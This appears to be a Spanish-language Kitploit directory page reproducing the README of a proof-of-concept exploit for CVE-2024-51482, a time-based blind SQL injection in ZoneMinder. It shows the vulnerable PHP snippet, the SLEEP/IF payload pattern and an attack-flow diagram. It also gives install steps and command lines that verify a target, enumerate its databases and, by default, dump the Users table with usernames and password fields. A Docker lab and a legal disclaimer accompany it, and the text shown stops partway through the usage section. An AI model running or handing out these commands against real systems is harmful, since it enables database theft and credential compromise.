Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-51482-POC — PoC de inyección SQL basada en tiempo para CVE-2024-51482 en ZoneMinder, con laboratorio Docker reproducible y extracción automatizada de datos. | Kitploit
Herramientas/GitHubGitHub/0xdaeras/cve-2024-51482-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónSeguridad de Bases de DatosLabs y Práctica
GitHub0xdaeras/cve-2024-51482-poc

CVE-2024-51482-POC

PoC de inyección SQL basada en tiempo para CVE-2024-51482 en ZoneMinder, con laboratorio Docker reproducible y extracción automatizada de datos.

Ver Repositorio
719hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

ZoneMinder PoC de inyección SQL ciega basada en tiempo autenticada - CVE-2024-51482

CVE-1 CVSS Python

⚠️ Solo para fines educativos e investigación de seguridad autorizada. Ejecutar esta herramienta contra sistemas que no poseas o para los cuales no tengas permiso por escrito es ilegal.


Índice

  • ZoneMinder PoC de inyección SQL ciega basada en tiempo autenticada - CVE-2024-51482
    • Índice
    • Resumen
    • Detalles de la Vulnerabilidad
      • CVE-2024-51482 — Inyección SQL ciega basada en tiempo
      • Causa Raíz
      • Flujo del Ataque
    • Estructura del Repositorio
    • Requisitos
    • Instalación
      • PoC
      • Laboratorio Docker
    • Uso
      • Comportamiento por defecto
      • Pantalla de ayuda
      • Comandos
      • Opciones de salida
      • Referencia de flags
      • Ejemplo Completo
      • Notas
      • Laboratorio Docker
    • Ejemplo de Salida
    • Remediación
      • Contra este CVE
      • Contra vulnerabilidades similares
    • Cronología de Divulgación
    • Referencias

Resumen

Este repositorio contiene un PoC de inyección SQL basada en tiempo dirigido a ZoneMinder.

La herramienta permite:

  • Verificación de vulnerabilidad
  • Enumeración de bases de datos
  • Descubrimiento de tablas y columnas
  • Volcado completo de tablas
  • Exportación a CSV

También incluye un laboratorio Docker completamente reproducible para pruebas seguras.


Detalles de la Vulnerabilidad

CVE-2024-51482 — Inyección SQL ciega basada en tiempo

  • ID CVE: CVE-2024-51482
  • Puntuación CVSS v3.1: 10.0 (Crítica)
  • Tipo de Vulnerabilidad: Inyección SQL ciega basada en tiempo
  • Versiones Afectadas: ZoneMinder v1.37.* <= 1.37.64
  • Vector de Ataque: Endpoint autenticado (removetag)
  • Impacto: Divulgación completa de base de datos, compromiso de integridad de datos
  • Autenticación Requerida: Sí (un usuario con pocos privilegios es suficiente)

Causa Raíz

ZoneMinder es una aplicación gratuita y de código abierto para videovigilancia. La vulnerabilidad surge de una validación insuficiente de entrada en el endpoint removetag de ZoneMinder. La entrada proporcionada por el usuario se incorpora directamente en consultas SQL sin la adecuada sanitización o parametrización, permitiendo a los atacantes inyectar cargas útiles SQL basadas en booleanos maliciosas. El exploit aprovecha:

SLEEP(x - IF(condition, 0, x))

para inferir datos mediante el tiempo de respuesta.

Fragmento de código vulnerable completo del Aviso de Mantenedor de Github:

case 'removetag' :
    $tagId = $_REQUEST['tid'];
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
    $rowCount = dbNumRows($sql);
    if ($rowCount < 1) {
      $sql = 'DELETE FROM Tags WHERE Id = ?';
      $values = array($_REQUEST['tid']);
      $response = dbNumRows($sql, $values);
      ajaxResponse(array('response'=>$response));
    }

Flujo del Ataque

Atacante                              Aplicación Web ZoneMinder
   │                                         │
   │  [Auth]                                 │
   │  POST /zm/index.php                     │
   │  {username, password}                   │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  200 OK + Set-Cookie: ZMSESSID=...      │  ← sesión autenticada
   │                                         │
   │  [CVE-2024-51482]                       │
   │  GET /zm/index.php                      │
   │  ?view=request&request=event            │
   │  &action=removetag&tid=<payload>        │
   │────────────────────────────────────────►│
   │                               Consulta SQL booleana ejecutada
   │                               IF(condition, sin retardo, SLEEP)
   │◄────────────────────────────────────────│
   │  Respuesta retardada (oráculo de tiempo) │  ← condición inferida
   │                                         │
   │  Repetir solicitudes                    │
   │  ASCII(SUBSTRING(query,pos,1))          │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  Diferencias de tiempo revelan caracteres │
   │                                         │
   │  Búsqueda binaria por carácter          │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  Datos extraídos (1 carácter a la vez)  │
   │                                         │
   │  SELECT Username, Password FROM Users   │
   │────────────────────────────────────────►│
   │◄────────────────────────────────────────│
   │  Divulgación completa de la base de datos│
   │                                         │
   ✓  Exfiltración completa de datos mediante SQLi ciega

Estructura del Repositorio

CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│   ├── Dockerfile
│   └── entrypoint.sh
└── logs/

Requisitos

  • Python 3.8+
  • requests
  • Docker y docker-compose (para el entorno de laboratorio)

Instalación

PoC

git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt

Laboratorio Docker

git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env  # Configurar variables de entorno
docker compose up -d

Uso

Comportamiento por defecto

Sin ningún flag, la herramienta se autenticará en el objetivo, comprobará su vulnerabilidad y, si es vulnerable, volcará las columnas ID, Username, Password, Name y Email de la tabla zm.Users (comando dump-users).

python exploit.py -t http://target/zm -u <username> -p <password>

Pantalla de ayuda

python exploit.py -h

Comandos

check

Solo comprueba si el objetivo es vulnerable.

python exploit.py -t http://target/zm -u <username> -p <password> check

dump-users

Vuelca las columnas ID, Username, Password, Name y Email de la tabla zm.Users. Comando por defecto si no se especifica ninguno.

python exploit.py -t http://target/zm -u <username> -p <password> dump-users

list-db

Lista todas las bases de datos.

python exploit.py -t http://target/zm -u <username> -p <password> list-db

list-tables

Lista las tablas en una base de datos especificada.

python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>

list-columns

Lista las columnas en una tabla especificada.

python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
Descargar herramienta